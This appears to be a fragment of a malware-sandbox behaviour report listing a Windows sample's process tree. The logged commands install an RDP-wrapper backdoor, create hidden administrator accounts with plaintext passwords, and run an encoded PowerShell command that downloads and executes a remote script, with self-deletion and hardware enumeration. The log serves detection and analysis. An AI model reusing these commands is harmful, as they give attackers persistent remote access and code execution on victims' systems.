- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:960
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1156
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1332
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"8⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1020
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2032
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2016
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1808
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:912
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:428
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f8⤵PID:1156
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f8⤵
- Modifies registry key
PID:2040
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f8⤵PID:1020
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add8⤵PID:1848
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add9⤵PID:1508
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr8⤵PID:2040
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C:\Windows\system32\cmd.execmd /c net start rdpdr9⤵PID:1716
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C:\Windows\system32\net.exenet start rdpdr10⤵PID:2016
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr11⤵PID:1020
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService8⤵PID:1544
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C:\Windows\system32\cmd.execmd /c net start TermService9⤵PID:1156
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C:\Windows\system32\net.exenet start TermService10⤵PID:2032
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService11⤵PID:1116
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f8⤵PID:2968
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f8⤵PID:2980
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C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.binance.com/en/register?ref=WDA8929C2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1688 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:268
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\f618840fdc6d40a683f35a268444ad53.exe & exit2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Windows\SysWOW64\PING.EXEping 03⤵
- Runs ping.exe
PID:1328
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1808
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:2072
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:2084
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc bgcKKZ66 /add1⤵PID:2096
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc bgcKKZ66 /add2⤵PID:2120
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc bgcKKZ66 /add3⤵PID:2132
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:2160
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:2184
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:2196
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD1⤵PID:2224
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD2⤵PID:2248
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD3⤵PID:2260
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:2284
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:2308
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:2320
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc bgcKKZ661⤵PID:2352
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc bgcKKZ662⤵PID:2376
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc bgcKKZ663⤵PID:2388
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:2420
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2456
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2504
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2528
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:2568
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2592
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604
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C:\Windows\System32\cmd.execmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes1⤵PID:2824
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C:\Windows\system32\net.exenet user wgautilacc 1112132⤵PID:2848
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 1112133⤵PID:2860
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C:\Windows\system32\net.exenet user wgautilacc /active:yes2⤵PID:2884
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc /active:yes3⤵PID:2896
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